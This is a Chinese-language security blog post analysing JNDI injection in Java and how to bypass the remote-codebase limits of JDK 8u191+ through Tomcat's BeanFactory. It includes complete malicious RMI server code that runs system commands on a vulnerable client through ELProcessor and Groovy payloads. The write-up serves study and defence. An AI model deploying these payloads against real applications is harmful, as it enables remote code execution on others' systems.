在java中jndi注入是一个老生常谈的问题

jndi注入

在java中jndi注入是一个老生常谈的问题,而jndi注入用一行代码表示如下

1new InitialContext().lookup(request.getParameter("q"));

当lookup()函数的值可控时,可以自己搭建恶意的rmi/ldap服务,客户端加载我们恶意的服务端类对象codebase,并创建实例,使得static代码块中的代码被执行。

oracle在jdk8u121使用trustURLCodebase限制了rmi对于codebase的远程加载,但是可以使用ldap绕过,但是8u191之后ldap同样不能使用。由此本文展开对于8u191之后的jndi注入的利用。

高版本jdk的限制所在

com.sun.jndi.rmi.registry.RegistryContext#lookup(javax.naming.Name)

1.png

进行decodeObject(),跟进

2.png

断点的地方就是trustURLCodebase所在的限制。分析if条件得到如果Reference对象var8不为空并且var8的classFactoryLocation字段不为空,那么就抛出异常。

绕过也是出在这里

绕过

如上文所说,如果我们构造一个classFactoryLocation字段为空的Reference对象,那么这个if就过去了。即

1ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);

通过ResourceRef的构造方法,赋予最后一个字段为空即可。接下来继续走到NamingManager.getObjectInstance(var3, var2, this, this.environment);

3.png

在getObjectFactoryFromReference()有具体的加载规则

4.png

首先先尝试从本地classpath中加载类,并且进行了一个ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)的过滤。如果找不到类的话从codebase加载,也就是160行,需要clas为空(本地没找到)、classFactoryLocation不为空,然后173行创建实例。

但是classFactoryLocation不为空的条件和上文的绕过方式冲突了,所以不能用helper.loadClass(factoryName, codebase)来加载类执行代码。

所以重新回到javax.naming.spi.NamingManager#getObjectInstance方法中

5.png

329行绕不过,但是可以加载本地的classpath的ObjectFactory工厂类对象,然后调用其getObjectInstance方法来创建对象。所以我们需要寻找哪个工厂类中的getObjectInstance方法可以利用。

ObjectFactory是一个接口类,getObjectInstance是该类的一个接口

1    public Object getObjectInstance(Object obj, Name name, Context nameCtx,
2                                    Hashtable<?,?> environment)
3        throws Exception;

我们需要找一个类,这个类首先要实现ObjectFactory接口,并且其getObjectInstance方法实现中有可以被用来构造exp的逻辑。

由此引入org.apache.naming.factory.BeanFactory类,在org.apache.naming.factory.BeanFactory#getObjectInstance中

首先

6.png

加载ELProcessor类,然后

7.png

取forceString的值,以等号逗号截取拿到键x和对应的method即ELProcessor的eval,并且在64行填充了一个string类型的参数作为method的反射调用,在80行通过method名和一个string的参数拿到eval函数

8.png

最后反射调用

9.png

整个rmi的服务端代码如下

 1package com.jndi;
 2
 3import com.sun.jndi.rmi.registry.ReferenceWrapper;
 4import org.apache.naming.ResourceRef;
 5
 6import javax.naming.StringRefAddr;
 7import java.rmi.registry.LocateRegistry;
 8import java.rmi.registry.Registry;
 9
10public class Server {
11
12
13    public static void main(String[] args) throws Exception {
14        System.out.println("Creating evil RMI registry on port 1097");
15        Registry registry = LocateRegistry.createRegistry(1097);
16
17        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
18        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
19        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
20        ref.add(new StringRefAddr("forceString", "x=eval"));
21        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
22        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));
23
24        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
25        registry.bind("evilEL", referenceWrapper);
26    }
27
28}

除了el表达式之外还有groovy也可以,原理一样,代码如下。

 1public static void main(String[] args) throws Exception {
 2    System.out.println("Creating evil RMI registry on port 1097");
 3    Registry registry = LocateRegistry.createRegistry(1097);
 4    ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
 5    ref.add(new StringRefAddr("forceString", "x=parseClass"));
 6    String script = "@groovy.transform.ASTTest(value={\n" +
 7        "    assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +
 8        "})\n" +
 9        "def x\n";
10    ref.add(new StringRefAddr("x",script));
11
12    ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
13    registry.bind("evilGroovy", referenceWrapper);
14}

限制

org.apache.naming.factory.BeanFactory需要tomcat8+或者SpringBoot 1.2.x+,因为javax.el.ELProcessor类。

groovy同样需要groovy和Tomcat依赖。

参考

  1. https://www.cnblogs.com/Welk1n/p/11066397.html
  2. https://github.com/orangetw/JNDI-Injection-Bypass/blob/master/src/main/java/payloads/EvilRMIServer.java

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。